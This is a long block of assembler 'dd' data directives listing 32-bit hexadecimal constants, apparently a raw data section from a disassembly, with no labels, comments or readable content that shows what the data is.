dd 0D844A4CAh, 681E6620h, 9F1507CBh, 6FAC50A4h, 40FC7351h
dd 0AB83F042h, 52B3C418h, 24325A20h, 116CECEBh, 0A7228039h
dd 8C2F67F0h, 48B2FE44h, 0DD12FC3Ah, 154C0029h, 0A3B46F2Bh
dd 1A584C61h, 1DF04928h, 3AA400EEh, 8C699B32h, 20C65397h
dd 18487241h, 0E1370704h, 189239CCh, 73316A05h, 48C72450h
dd 37EF1250h, 87AB0143h, 1BCCED19h, 9CA0EA93h, 4C56E7FBh
dd 901A7B00h, 0DB9BF67h, 0F4DB58EEh, 646D8A13h, 88DCCBF4h
dd 0A5A8C030h, 8016A08Ch, 1C29CCB8h, 30E22C22h, 8F6030h
dd 41D193B4h, 907D8A84h, 0DD285BEDh, 5F665E80h, 0C4C33CCFh
dd 1FF6CF0h, 0D1C33BFh, 90F97860h, 0F2012E04h, 8C674078h
dd 0E74B4F13h, 5915504Ch, 0DC5B18BFh, 0B1923804h, 343B494Bh
dd 68008C77h, 4B408065h, 483604F0h, 0BF10F435h, 0C3E3406Dh
dd 465E149Eh, 1A007D2Bh, 7B56FB34h, 5C8ABE82h, 91105CACh
dd 524E003Bh, 39E48729h, 0EA25356Ch, 0A0308198h, 0F21D00DFh
dd 0B06D18EFh, 53BB10C7h, 0F8906276h, 0CC9DF00Bh, 374490E7h
dd 92F90134h, 0B917F328h, 0BA088121h, 94596F23h, 2EFB3CE0h
dd 88349B65h, 25061088h, 2CB914E3h, 5E20874Ah, 0A13BFA46h
dd 99E55700h, 6EA625A0h, 7129E074h, 0E0292C24h, 2618FC71h
dd 0C523D100h, 767A2EBEh, 3951C541h, 180A36Eh, 0E9AC9F06h
dd 683CF25Dh, 168C76BCh, 97D1A2BAh, 0D02D97ECh, 0D46613E7h
dd 0A42F2125h, 3767BFB8h, 0F771F22Dh, 2A606051h, 14F2DF9h
dd 568B8276h, 42E1389Dh, 54645FD8h, 6A47D800h, 6903061h
dd 46D5001Dh, 0F70C4CA2h, 5702DD0Fh, 8E634EB2h, 993450FAh
dd 1836F170h, 12749877h, 876799h, 15D5A526h, 8A04EF26h
dd 480D0601h, 1B16CE3h, 73250C4Bh, 0F6A0AC4h, 3B7060E2h
dd 0F18FAF01h, 0D430845Ah, 9A0047A4h, 0B26FFE50h, 499075h
dd 0D50207C7h, 5F33BCDEh, 1D46352Dh, 9C7311FCh, 54CF9106h
dd 0A5CC9970h, 5F916495h, 0BAABA780h, 55782B2Ah, 114909F8h
dd 17A6B82Ch, 1BE3BCDh, 6DBDF4A0h, 6C2180C3h, 7BF00B9Eh
dd 61C07CACh, 670819DBh, 48647493h, 0A456940Bh, 11801D86h
dd 45F789FDh, 60F9E4C4h, 79D3AD38h, 680A5042h, 0D16007Bh
dd 2BEE6A23h, 7A001E8Eh, 5A290CE6h, 272BFDBh, 0DEE03AB8h
dd 0E0E92831h, 0EF90FC1Eh, 1FDC545Dh, 0A9521B59h, 36C8348Bh
dd 388A43C0h, 28A813EFh, 0C2002406h, 32037CCh, 6359E0h
dd 6DA20F26h, 5017119h, 4195FA00h, 0C10CDE4Dh, 0EA5F37F4h
dd 0C38490F1h, 5E1CF12Ch, 0CA4191EBh, 54E5DBE0h, 4A72863h
dd 986F334Bh, 2E01E49h, 2C2F5B1h, 2CDABFF3h, 6DEC1904h
dd 0F707CB38h, 491532DFh, 0F5437CE0h, 95423102h, 0C01CEAFFh
dd 0B492C01Eh, 8F9C8Ch, 9939CE7Ah, 131C4C4Eh, 0A5E409C2h
dd 0EF460300h, 0B1AD2848h, 47710400h, 0C0809BCDh, 8DAEB341h
dd 24EB09E1h, 7CE00360h, 0D500B8FFh, 0A2B0D4Dh, 908D7D4h
dd 0FE5CD87h, 60E1BC4Dh, 0B020262Dh, 387B2DBFh, 6DEEF480h
dd 85750B6Ah, 60713928h, 52A36C1Fh, 65EDCB8Bh, 602DE454h
dd 60F061F9h, 6F57E66Ch, 8C01FB74h, 949CB2BDh, 44DAF33Bh
dd 37C10110h, 5B01E844h, 1182F442h, 0D648BEh, 7B4FCA17h
dd 11B6A839h, 71249902h, 7269FFB4h, 0E8C4F0C0h, 4708A270h
dd 4AFC42C4h, 6534218h, 0CCE81C65h, 0B000F93Fh, 0B5DE744Eh
dd 927F794h, 0B9667897h, 40A7D498h, 0E55D731Ch, 15141C80h
dd 0FA4AFFAh, 0F67B6855h, 0C0AC1BA4h, 807D8A48h, 4C3BE64Fh
dd 53002D23h, 0CA05669Dh, 0E21D0068h, 0F4A9AC75h, 8B7344EEh
dd 3D044AF2h, 0C9346D8Ah, 2FB23CA3h, 2680F30h, 8EAF2438h
dd 1864F101h, 0F0DED12Ah, 0C090624Ah, 49D50AB6h, 0BF053860h
dd 0C7F4246Bh, 0A4A5C4B4h, 0E95D7AA8h, 66D1D40h, 4E8200A0h
dd 38B444C8h, 0AC4A53BEh, 8CB6812h, 0A0C05EC8h, 0BC91756h
dd 0B2D314DFh, 1C3B06DCh, 0C8465E6Ah, 0C8798B0Dh, 51C9F860h
dd 6062C484h, 1F237491h, 87CAE570h, 5507016Dh, 0DCFC9E4Bh
dd 0F8960580h, 0E060BD62h, 0BAC8808Ah, 694CF4EEh, 74013B9h
dd 9F249400h, 28EEB3Fh, 0B4112975h, 0E47060ABh, 66A7BC17h
dd 6F39B081h, 46E0C6CAh, 0D83C2EFAh, 0C528F20Bh, 34498044h
dd 595FF586h, 0F0530202h, 0E8E510A5h, 948B96BCh, 0F7467674h
dd 32D54F00h, 4B0725EBh, 1409FCA0h, 6B82C909h, 22CC42C6h
dd 7A92F180h, 306E27Ch, 98FF7DEh, 6CE0D701h, 0FB000FC4h
dd 850A0C3h, 9E5A0766h, 75467C24h, 0A37A6D01h, 4D04294Dh
dd 0A81B9A4h, 0B459C393h, 0B5DC8B3Eh, 2670E024h, 0E37C17F2h
dd 3D14084Ah, 0ECA71EC0h, 800F4367h, 63A736AEh, 94250191h
dd 0BFEF8C7Fh, 0F20062E1h, 0F9CD3030h, 0F6BCDC1Fh, 0BE84285Eh
dd 80BB464Eh, 0F3872DF5h, 0DC9BC62Ah, 6790913Ch, 5320BED9h
dd 0E7A463h, 0AAA50F12h, 0B23B85B8h, 726CD712h, 4817A8E4h
dd 0CC504284h, 0EB10BE2Ah, 3D40544Dh, 0D9B9359h, 11F85C20h
dd 3AD1F058h, 9F09D9C0h, 0CF316Dh, 4AFF5BA3h, 552E383Ch
dd 43712F0Bh, 733800BBh, 90F9C335h, 0E23C0124h, 0CC6BC05Bh
dd 92508614h, 0B6C04737h, 2215E5Ch, 7993824Bh, 0EDC11751h
dd 6925DC08h, 0A73C7E09h, 5AA468D1h, 0EDC207A6h, 102ACBD5h
dd 9428132Bh, 0EC6A4B05h, 0E8B31B49h, 0FDE29852h, 0B40B1830h
dd 50DF8040h, 76529DAAh, 0B7118300h, 3359BFDDh, 22B40073h
dd 0DE49AD4Fh, 185E6DF2h, 0EEC5807h, 90A9CC64h, 49CCA06h
dd 0DE0F5CCFh, 0E496139Ah, 9CD0D2C6h, 9A485BBEh, 0F31B02C0h
dd 6D703A94h, 0E8D3D242h, 0A0ED041Fh, 1C8A3428h, 43601365h
dd 70180495h, 2DBD00C6h, 8747CCC8h, 78E08048h, 4ADB251Bh
dd 23C42F69h, 782900F7h, 0E116C78Ah, 0F8C8594Ah, 0F47174h
dd 3ACB0D7Eh, 0E9CA71F9h, 0BA12BC00h, 0BF103019h, 9E00B9CEh
dd 17007A4Ah, 45A6EC06h, 0BC0096D0h, 95323AD3h, 992ED46h
dd 0E4408588h, 0E41094A9h, 3B3930E1h, 8ED3BA27h, 0E096A3F8h
dd 6DC74404h, 0B6B10088h, 611CC849h, 0A213A96Ch, 98CBBC4Eh
dd 71C030C8h, 58C6327Ch, 68492559h, 76187D3Ah, 70392943h
dd 29F1D1C0h, 1EC0FB49h, 450771Bh, 852361D3h, 0F234F258h
dd 702530FFh, 0E234CD13h, 23436E1Eh, 0E5797569h, 0FEB294F6h
dd 12A93930h, 0F0F0A568h, 0F2489A98h, 0CD6C1074h, 7AA26404h
dd 0BF4E96Fh, 17119F66h, 8062917Ch, 74DA5B84h, 0FC984C24h
dd 174CF310h, 2490BC6Ah, 2D01E820h, 9C000709h, 8AD3AC71h
dd 0BD8B28C0h, 5101F3F0h, 0F062E4D4h, 0C53034F2h, 0D4424CBAh
dd 8F68EEC0h, 3A90B3E8h, 0F4008171h, 0C0157E0h, 0C0F192FBh
dd 39C59F29h, 0B1091E32h, 1AE784F3h, 11BC1DD8h, 312880F5h
dd 24DF1CDh, 64B05140h, 98A27107h, 19C0A6FCh, 0FD0260B5h
dd 3A6A24DAh, 4F807666h, 12D40CE4h, 750A041Eh, 80AFE060h
dd 0EBB47100h, 829CA869h, 0C06076CAh, 4161A081h, 0D053C9Dh
dd 50D542A6h, 0E4DAA817h, 0BA5334C3h, 0F5BC9010h, 7A3B1D03h
dd 28DE096Ch, 70342516h
dd 948D7017h, 0FEBCE06Ch, 513C4A43h, 0C86D7609h, 995AB800h
dd 116701Fh, 4853EF04h, 0FCC884CBh, 608987C9h, 0C5F3D581h
dd 0BF31B02Dh, 2E7F8D8h, 0C124E1ECh, 0FC349461h, 0E28E8A4Ch
dd 8C115138h, 0F4002595h, 94089CF3h, 0B812760Bh, 73C8908Bh
dd 79AE05C0h, 0E0541718h, 8EB4D5FAh, 0CE2D886Ch, 9AAF0620h
dd 0ED052C9Fh, 978C6F68h, 27D684F0h, 6469EC55h, 0EA398216h
dd 48BDDC65h, 4934ED4h, 60495AE8h, 62848DC3h, 30FDE2D4h
dd 0EC2767B5h, 6F3C6021h, 0D1F8B98Bh, 1C818F8h, 10865F9Fh
dd 0E064130Dh, 44F24209h, 0A7F0B904h, 94813ABEh, 0E400FEF8h
dd 5BF4A56Fh, 48042927h, 33321B5Ch, 0EF88437Dh, 0AF1FA1C9h
dd 0ADC03E18h, 2A47EE68h, 85038575h, 0B2E4A310h, 45E630FEh
dd 6F49B27Dh, 7CE3E18h, 8369A057h, 7FF69A30h, 8A1A2FBEh
dd 3311C0B5h, 0DDAF9C80h, 294BD1BEh, 9F19D49Ch, 60C1F484h
dd 6B232DF3h, 4465B871h, 2D4E241Dh, 9AA813Eh, 0B4427180h
dd 0F6CA017Ah, 0E9A02411h, 86278B18h, 40F1DE19h, 8C3A172Bh
dd 536840B3h, 5A1A096h, 1F00C4Bh, 818C2636h, 0AC3E485Dh
dd 4A3C4090h, 523702Fh, 8224B600h, 0B844ADD9h, 0DB5900F4h
dd 719965E5h, 4D6BABC4h, 0E43CC5B0h, 0DD1D60FBh, 5A690068h
dd 3D78642Ch, 352ED466h, 467C303Fh, 11D002FCh, 0FBE79588h
dd 7F417024h, 58205B02h, 2EE45475h, 4AE382C0h, 71240467h
dd 7FBFF03Ah, 0D6709Ch, 0E19336E0h, 4E489245h, 8E1FBE0Ch
dd 12E489E8h, 0E06033BDh, 9D1A6840h, 7C88C58Ch, 2F465EC0h
dd 607F9100h, 6840BF38h, 4571DC05h, 98AC83F0h, 95BEE8C2h
dd 7404C0F8h, 0E48B853Ah, 18A0390Ch, 0A7A8FB53h, 8F304B04h
dd 14032E6Fh, 42F64E3Bh, 184853FAh, 0EC30F7A2h, 1A7F58D4h
dd 48A5D018h, 850C9272h, 0D0768CDCh, 0EE9927ADh, 10E0B44Dh
dd 4BD11A7Dh, 0C3DC4038h, 0BB8B1379h, 7762680Fh, 0CEAE408Ch
dd 5A1C9CDh, 6DF2BD78h, 0E9AC927Ch, 1F0998D8h, 580AA084h
dd 42CC30B8h, 0F4B7D351h, 22FE9F0Ah, 888034C9h, 0ED7142A5h
dd 0A702008Bh, 3A51332Dh, 0BA0007D4h, 3B9506ADh, 17C60BA6h
dd 0CBBB0CA3h, 0C0F6C854h, 0AA46F537h, 5C6E1600h, 937AE2C6h
dd 4EE8A8F2h, 4898006Dh, 0DAACF97Dh, 1B282CA0h, 425B42Ah
dd 0A68C48F0h, 0BAC41219h, 6C4802EBh, 1F27456Dh, 0C7FF8473h
dd 16F592E3h, 0CBEA4931h, 4A8F1ECCh, 30F0B04Dh, 76BC403Ch
dd 8D19268Ch, 162F0720h, 0DC842091h, 0EC5CB22Bh, 238C0854h
dd 0B5F4007Bh, 66C3946Fh, 0FD0311C2h, 39784120h, 77802828h
dd 0B85FA5F6h, 7D02FDE2h, 78D11D65h, 6264D9E9h, 1F0022FCh
dd 8FF83C34h, 96024E11h, 791FAC6Fh, 467634DCh, 8D0E72FDh
dd 25C5D5BDh, 0B890F1D6h, 9CF26669h, 0AC00028h, 601504DEh
dd 0E5EA3900h, 45C3F3A0h, 0F170B98Bh, 4118F6h, 0A8ADE6BCh
dd 141A33A5h, 0A3251304h, 8481EF62h, 0C503C6F8h, 41D603F9h
dd 0EEF38988h, 0A7C4452h, 4E4530BEh, 5D5C58C1h, 0DA34746Bh
dd 61BEC054h, 0EEBB2519h, 0E3CF0182h, 0BC67F9A1h, 437C748Dh
dd 0C7D76025h, 60F5C4C0h, 70D02A09h, 51F894h, 0C192FBB7h
dd 256DCA39h, 6B824915h, 9CC84A7Ch, 0EED30E97h, 3A1F5885h
dd 0F324C780h, 891996Eh, 0F44A071Fh, 0E5DDE30Bh, 6133C4B4h
dd 0C6C8B86h, 0D8128D01h, 6A1D1540h, 0AE26E448h, 74465ED4h
dd 0FF325004h, 0D09CEC6Fh, 43F8E8D0h, 6F8A024Ah, 405F738Ch
dd 0CC72097Ch, 75940B69h, 0C117DE00h, 683D3F34h, 741C07C7h
dd 403B19BEh, 0AFB26FE5h, 2A07B516h, 0B60A9440h, 25D561E1h
dd 48E19B33h, 0EC4118F7h, 8730FAB7h, 86390039h, 0C4118458h
dd 985A69F7h, 28686A8Bh, 0E648BDF3h, 158905Ch, 0D2BA9537h
dd 34D4E0D4h, 0EC2404F8h, 0E254A3FBh, 3031F23Ch, 0F018B115h
dd 90E84485h, 2C725805h, 0FEE42079h, 0A78FEF09h, 7960F959h
dd 5021834h, 9DF0D68Fh, 3924D080h, 7094A35Dh, 76FD465Eh
dd 0A08DE127h, 65BC6A18h, 5A88BA19h, 23C02F86h, 1D3100F5h
dd 17DD4FCCh, 8F5B2301h, 2DD1DC67h, 0BC3C206Bh, 0B61CA61Bh
dd 108A4E52h, 1740D490h, 0D9C347h, 7CC6C9C8h, 0DA012A80h
dd 0E8A2BC02h, 0D6559A60h, 121764Ch, 7043804Bh, 0BCA61CE3h
dd 7186FB60h, 9E92CF2Fh, 296A80BCh, 3D128742h, 0C6C00A01h
dd 23A33B1Eh, 54B3FCF3h, 0C96FE41Dh, 0A8039837h, 0E05D2AA1h
dd 0BBB8F4h, 0C91A42C5h, 0A7B06E98h, 0F884AD48h, 840F8C61h
dd 2512F694h, 4B46A7Ah, 20A098F5h, 461221BDh, 0CCB2A265h
dd 0D3060F2h, 3BEE00FAh, 9A2BD534h, 2902BC65h, 0C883F047h
dd 708CFBD8h, 0F3397EBCh, 2AD69D62h, 78C2C549h, 897BD58h
dd 0F880FD91h, 6980434h, 9E6CB900h, 65AD6F73h, 2351751h
dd 0B37457A2h, 3034A2D0h, 6805B0CBh, 0F7086DF0h, 0E61A78A0h
dd 9AE14BA7h, 313C0E8h, 6F23FAh, 0E8932F50h, 0E44C6BBFh
dd 78F940B0h, 0B8845C88h, 0A6008CF8h, 702F690Ch, 7B0184C1h
dd 0BB05EBEh, 3CC550F8h, 62EC7FEBh, 0F3788900h, 2C9F7F7Ch
dd 9509000Ah, 6032AD1h, 0F9028B58h, 880FD82Bh, 1ED2D76Dh
dd 1B28C60Bh, 0EB427DB9h, 58CF53DDh, 0FD00C485h, 8B05A880h
dd 0C501CDB5h, 2FC18378h, 17232Ah, 8796C1CAh, 0A9508589h
dd 3B0606C7h, 0C860FD9h, 0BD8B0CC3h, 661C08F9h, 7CB58C7Fh
dd 1B465CD6h, 0D8590C00h, 0FB80A686h, 0A158DB62h, 0C1F60010h
dd 84350F04h, 0B6BA35A7h, 0F967B0BFh, 66A70077h, 0FF23B9BFh
dd 116BA595h, 0E3685764h, 6073CE67h, 80E7BA3Fh, 815B1D5Fh
dd 15621DFh, 0C32B6669h, 0A008343Dh, 5C70862Eh, 0DE3AFCB7h
dd 0E8F9DA0Ch, 84150Fh, 0BC8188C1h, 3176A44Dh, 151B8302h
dd 40ABBA23h, 0B9DD718h, 4AE95F8Dh, 649BE775h, 0A6356018h
dd 8FB60BF5h, 0E55DC08Bh, 631AC48Fh, 0A82283E0h, 90C90A0Dh
dd 34D203Ch, 0D8C1FFEDh, 0C7F3EC66h, 25CD8518h, 2BA3FD1Ah
dd 78E275F4h, 752DCEE2h, 7DA1DD7Dh, 0B106820Fh, 0C918225h
dd 79BD8100h, 0D00C2864h, 850FAF90h, 292DC216h, 0FF27A1B5h
dd 505642C8h, 31113F40h, 355E5F80h, 0AF20B5FFh, 1AA25CB3h
dd 8CA130h, 0A6E3C483h, 0C5BD0B1Bh, 0B9953EA0h, 0F0001F41h
dd 5BEE8ACFh, 716BBF90h, 0E4C5E60Eh, 92995FC0h, 8AA0D5A9h
dd 0E88029FDh, 222FC00Ch, 6F953C02h, 5185D400h, 152109C4h
dd 0D6FA488Bh, 10A89D3Bh, 55EF144Ah, 791099B6h, 0BE560322h
dd 0ECD92C77h, 20F510C1h, 74C0805h, 6111B380h, 50EFB476h
dd 98DDAA6Ah, 0A9F6B74Bh, 0A1B701DCh, 0D1B58960h, 0FC489923h
dd 0A55041DEh, 5ACEB70Fh, 2140BA61h, 1A085D9Ah, 64F30060h
dd 772D9CF5h, 31F8BD89h, 60A876B7h, 8143CF37h, 0D690FA90h
dd 24D0B0DFh, 65192B3Bh, 90330C0Fh, 0BE030A80h, 41AA54Eh
dd 8E25542Ah, 0D64BD6B7h, 2784300Bh, 0DAE28049h, 3835E9F5h
dd 0F9AFFF8h, 71842B8Fh, 88D68EC1h, 0C77C018h, 0D6B712EFh
dd 151840CFh, 7AFE3382h, 11B7439h, 0E16E639Ah, 0B1704EBh
dd 609D4D5Dh, 0D2B3D5C9h, 758E3250h, 98B0340h, 11858DF7h
dd 95C3A72Fh, 1D152C65h, 38AD29BDh, 66528050h, 0F4BF0BEh
dd 0F2537631h, 8B7098Bh, 17025A5Eh, 0F3D72404h, 691C5864h
dd 0B3CD669h, 2EC5D0Ah, 0D64F54B7h, 0EC0A8722h, 0D04698Eh
dd 0A1EC378Fh, 87EFD9CCh, 6FA35FEh, 0B9BBB719h, 1B50A880h
dd 0BEB8EA60h, 97DCE109h
dd 0F1C40210h, 0C0830124h, 0E5933105h, 0BEA64090h, 7A286AE7h
dd 0F2F8A768h, 0BFE8A2A3h, 0F512A7E3h, 0CC6F9010h, 1CE7B113h
dd 4C69CC13h, 0B52D2B44h, 87287D31h, 813DED2h, 90056621h
dd 0F6EA0CC9h, 0B094F0C1h, 6B3E4C0Ah, 3B03E910h, 97471D8Dh
dd 52B7FD6Dh, 3577C700h, 273B013h, 0B61CC66h, 6648B9B5h
dd 0CCB3D3FFh, 1609CD78h, 9DD2758h, 2042154Bh, 0F7802635h
dd 14D9EECDh, 0CC734DE9h, 0FB62EE5Ah, 4F46423Fh, 0E48A42CAh
dd 8684B5C7h, 7D14013Fh, 8B465B01h, 0AC05BD9Dh, 0F9607928h
dd 2BA9C2Ch, 0DC9CE4Eh, 22604036h, 160ED849h, 18E3815Fh
dd 4DB5234Bh, 0B12C489h, 7DDE0BDBh, 1FCDFE18h, 2DBD8380h
dd 0A4FFF84Fh, 54541057h, 3BFE60Ch, 2641E930h, 21AC86D1h
dd 0D21D2055h, 23093B75h, 0A7350F17h, 0B50921A1h, 0E9998D11h
dd 3A4E5552h, 0C4C01888h, 0B364DE6h, 19BD0380h, 4E5A6228h
dd 1AEC3014h, 4AF8018Ch, 39D258EEh, 99221A2h, 20BD6ED8h
dd 125BB3ACh, 0EC8F40FBh, 0F3CBC1Ah, 56DAA800h, 0E5C42D23h
dd 65370326h, 815B71C6h, 0CBFEFFD9h, 23622E9Dh, 1BD50B15h
dd 497D2B07h, 41DB4B69h, 10CD1F7h, 282CC3F6h, 54B73022h
dd 313C4CDEh, 462A2E69h, 713CB011h, 0AD4FB129h, 6C4F12FDh
dd 58B09223h, 0E9C652F8h, 8F94C77Fh, 98CE0EDCh, 0A1C2284Dh
dd 71E693B6h, 5A575107h, 223035CCh, 2FEA0EB7h, 115D52A6h
dd 0E6C65EB3h, 64E500CBh, 9E4910B7h, 0F5E0B05Ch, 8D70E624h
dd 35D3CE01h, 8A3671E4h, 6CFF3CF0h, 28C5D201h, 60DBED9Eh
dd 84AE8AA1h, 0F26F585h, 0D8B6A461h, 46C06DDBh, 17AC41D3h
dd 5B2FBA51h, 0F03CC118h, 9E608B60h, 0FE9BDD0Bh, 25BCE35Dh
dd 1835FA0Eh, 208ABE8h, 70CA584h, 304A5C1h, 8580DEB3h
dd 3CE2F7A9h, 93FB7809h, 17036047h, 95509361h, 0B719E6EBh
dd 0F7B70FA1h, 8ED15B2Dh, 74BC5ACh, 20A25034h, 24A94300h
dd 0BAE51063h, 0E30F1D1Eh, 0F60EF597h, 5F171021h, 6B88AAB0h
dd 25740EECh, 54203D9Ch, 606B2F41h, 0A3F1A48h, 0C4FBBF0Fh
dd 26898D04h, 0B511CA10h, 8E4B5113h, 0FD3CFED8h, 7DD5834Bh
dd 1C6426C7h, 254FC760h, 7921C500h, 296B14A8h, 98DD559Dh
dd 1B834E54h, 0BA8F2781h, 7ABD3319h, 6E4EA3FDh, 979B01D9h
dd 4BAFCA1Dh, 0B1ED6Eh, 6E5F6056h, 30F0765h, 0E07EF6CDh
dd 929406C6h, 1D48F821h, 0E95D8501h, 662351B2h, 5764F08Eh
dd 23C50477h, 0B02D1BDh, 826D7F58h, 852AF60h, 0BFBEEA9h
dd 88280FBCh, 96FF7949h, 7588F82Bh, 0CD8D2529h, 0A5BD04A3h
dd 5D5AA6CDh, 276A88Eh, 2A5721FBh, 57D2D01Fh, 0B722C06Bh
dd 0B2092EEh, 7042FA3Ch, 70114779h, 58010850h, 0BAA51929h
dd 19B1BF4h, 1FEC904Bh, 30D0D9A2h, 8909DF03h, 0ED5B5E21h
dd 512EC085h, 2B76253Fh, 11820F19h, 6939E81Fh, 9E18A43Fh
dd 7DB59C8Eh, 5E5A1692h, 290D5F62h, 2AE9A9C0h, 0EE8795B9h
dd 0C0C4A2ABh, 0C5C387DBh, 0D9D1F36Eh, 69F8D598h, 6BEA5B0Bh
dd 0B51E28F7h, 0B206920h, 28A98529h, 12F18190h, 0CB3B0CC0h
dd 0C0FC1DDBh, 8AD681B8h, 2C5A01F5h, 9C39093Ch, 19467C74h
dd 0BB17A001h, 6805C1CBh, 0B3C8D224h, 49F10042h, 248D34ADh
dd 9F1C7D47h, 0D1E6ED1Ah, 1B46DCh, 9D0B55F8h, 4DAD1167h
dd 9B96D78Ch, 646E8B48h, 76E40086h, 26B26B71h, 474CCD46h
dd 2E40743Bh, 0BE661D90h, 0DED6E48Bh, 6BAFDCB7h, 0A8474875h
dd 92D20053h, 0AB0F5514h, 0EE002329h, 0A5C65157h, 2CD5ED48h
dd 181AFC7Fh, 81FF06F0h, 0F7B9CF03h, 9605B29h, 131B0696h
dd 54083E84h, 10611083h, 0E959510Bh, 0D880A393h, 0E5073097h
dd 7946CA9Ah, 0F761DB72h, 15588973h, 0E07B008Dh, 0AC84D7DDh
dd 6604EA48h, 601B0BBFh, 0FAC7AC83h, 17A603Dh, 0BF838221h
dd 83261D9h, 9DFAD4F3h, 801811E0h, 0E871B5EBh, 0F346CB34h
dd 1E9DBA82h, 0E520B17Ah, 453BB02Ah, 4D189D26h, 827CB7E0h
dd 0F8E3D680h, 10CAEEFh, 0DE3E54F4h, 0F42D55C2h, 0C10C63A3h
dd 3E6160EDh, 5F57CEE9h, 5C43CBABh, 0C02014D2h, 7BDF75h
dd 0C428DB2Ah, 3B4E1176h, 0E2CD4300h, 0A2640AD6h, 8C0F2CE0h
dd 4E1C3B3h, 138EAD11h, 99BD2B0Eh, 0A78CEEF6h, 0AF5F1FA7h
dd 607181D6h, 3DC18BE0h, 2D28B83Bh, 801878F5h, 912DBD0Bh
dd 0E787A117h, 6368F838h, 9F9AAED7h, 0CC90BED6h, 921C96D4h
dd 74412A8h, 13180750h, 0CE02A833h, 0F96A206Fh, 1816D17Dh
dd 73D2021Ah, 1CE1BD33h, 95B50548h, 0CE54678Bh, 0A307D55Eh
dd 301BA24Bh, 48016ED8h, 0E7DB37ECh, 2A20317Ch, 4B47B417h
dd 0F9825137h, 81526033h, 50816B89h, 25EFD7D0h, 0AF804393h
dd 2D5CBE56h, 6F5ED9E1h, 6FBC77BDh, 89518E0Fh, 0E750968Dh
dd 8C1BEC27h, 7EB7921Ch, 0ACF07A8Fh, 8AC158C0h, 0F2AE6A7Bh
dd 0B904FD4h, 674E2878h, 0FF5F5309h, 0C12F83D3h, 75704F30h
dd 0DDB3BF25h, 6A6336F0h, 0BA01ABE2h, 0E9CF7CE3h, 2968093Dh
dd 244A68B2h, 11AD3D40h, 86D0C7BEh, 0F2014137h, 29031D04h
dd 0D3B7D9Dh, 924D268Bh, 2DCB4AEh, 3EFD426Ch, 26D1CCC5h
dd 2192F996h, 0FE81197Bh, 7D9CF11h, 0C2E14D08h, 0A47866DBh
dd 631A649Dh, 0E9F5032Dh, 0B925566Dh, 0E8F6AFF0h, 0FE808305h
dd 83C46B18h, 84E55A1Bh, 54E90398h, 0BED57535h, 211B21A2h
dd 31372FE4h, 99A55101h, 5A346378h, 4D2A48FBh, 0B469E045h
dd 27000EBCh, 0AF3A6563h, 0B4D6B23Bh, 0E4E86512h, 0EC00D7BAh
dd 7D8E0234h, 122CC140h, 908A0F44h, 34E1BE87h, 5F7BC416h
dd 90C20A84h, 1707D1F9h, 439EABA1h, 6841698Eh, 0C9165B57h
dd 0FD7F20C7h, 12312240h, 0DD1FE595h, 0B8F27D11h, 853F0071h
dd 0E6A3EBEAh, 0BF054B22h, 193E9ABEh, 0E9FE20C2h, 8829023h
dd 830F50F7h, 0FA15328Dh, 3970F25Bh, 3B9E269h, 0CE9B2838h
dd 750BA68Ch, 40258501h, 492CE9BAh, 66EC2505h, 6DBAD500h
dd 0F6B70F4Eh, 64CBA7B0h, 16B601Ch, 59B700F3h, 2D8217A1h
dd 269E70E6h, 0C4D8B609h, 0A43B03BDh, 0DF733714h, 806051D8h
dd 42DF573h, 113235A5h, 9EBC8216h, 28F1DF59h, 0C1450928h
dd 92F9A003h, 70025BC3h, 64029DB6h, 0AB4C9AEFh, 0EDC58234h
dd 0C38F091Eh, 13340D0Ah, 0BF23C5F3h, 0A262B4h, 2CBBDA97h
dd 3B0F65E6h, 3112D24Fh, 0BA89D39Bh, 19757D02h, 3DB25705h
dd 9D7A1Ch, 61EBE039h, 0D84D2B5Fh, 0B4EBC0Ah, 2C82E4B0h
dd 8898627Fh, 1A2822F5h, 227BF949h, 8951A002h, 3924521Ch
dd 8F301DE2h, 635C001Ch, 17CF4B48h, 0F14D890h, 2D3A0C8Ch
dd 0B573908Eh, 29314129h, 760DADF1h, 1F2CF4F4h, 4918B909h
dd 0E122F077h, 78F78531h, 0EAFB94BCh, 4605D6B9h, 416558A7h
dd 11ECD830h, 91D16E4h, 0FAC50508h, 87B6EBB0h, 0EBFFD1E0h
dd 0C0D3A624h, 82788523h, 62480134h, 1E76BBB4h, 6356505Dh
dd 187FCF86h, 2D74E42Eh, 561B6439h, 5D0013B2h, 4DF57707h
dd 0E058ECC3h, 99BE0905h, 9D0988CAh, 1C4674h, 0EAF50205h
dd 2D89777Bh, 50A408DCh, 0EA3F95AAh, 8BB061A6h, 0F8E6CF35h
dd 0E9BC559Ah, 201601DCh, 86A4974h, 31643351h, 0F1FCFAF8h
dd 6B263C31h, 0B39ADF0h, 2BB9289Ah, 0E8181979h, 78251804h
dd 3AD41E1Fh, 1723452Eh, 5773CF02h, 812960BCh, 37470EDFh
dd 0C7C0014Dh, 125CA719h, 40BA585Bh, 4A8DAA7Fh, 6709CBE1h
dd 278FB3Fh, 0DA5EF0AAh
dd 1CC2058h, 1DD0E84Ah, 0D34495h, 0A9BA09DFh, 0E294AF4Dh
dd 2DF55702h, 0D95F9EF6h, 2D10276Dh, 35ECCDC2h, 0B4234F00h
dd 7DFCF83Ah, 95891257h, 5EC6C271h, 15F179D9h, 0F6508E18h
dd 0E55BA2E6h, 16D7845h, 770206B6h, 0D94750A4h, 800099E6h
dd 82C1BE20h, 269B6727h, 0B9EFA6Fh, 92A55FFBh, 7A6EBD9h
dd 21EC31B1h, 8C96685Dh, 0BBE9305h, 6046A91Eh, 0CA938494h
dd 0FA99BC58h, 8F860123h, 9257D983h, 0B8A82D5Bh, 8B0F1754h
dd 498AA18h, 0E3B000A3h, 0B8172772h, 0BE011FD8h, 0FA01546h
dd 0FAF38E4Ch, 1D75795Fh, 0DCB3C0DBh, 98ECBB9Ah, 0A5FF4B09h
dd 0CC518727h, 7EE66710h, 0C32B2F50h, 0A402CAB7h, 0C68D0F30h
dd 62F35B6Dh, 0D3DF4FE9h, 0E0E9D3A9h, 0F804202Ch, 57B58B2Fh
dd 42E92382h, 0D3E15BFDh, 5B1220E0h, 16858302h, 98C08BDDh
dd 3A9C5B4h, 0C27BF706h, 48881D90h, 0DA0298F5h, 2166FE26h
dd 1749F054h, 945E9E41h, 4726B25h, 579AB96Bh, 15EF8Ch
dd 4B8F5ED3h, 591BC754h, 0AF1DCD7Eh, 3DC5ABB1h, 0F0EE9D89h
dd 5F125ECCh, 8EE485C7h, 142B165Dh, 50FC1E1Ah, 0A2DE6E01h
dd 7E13E595h, 6A60D947h, 1423FB3Eh, 398D4917h, 0AFB8606Dh
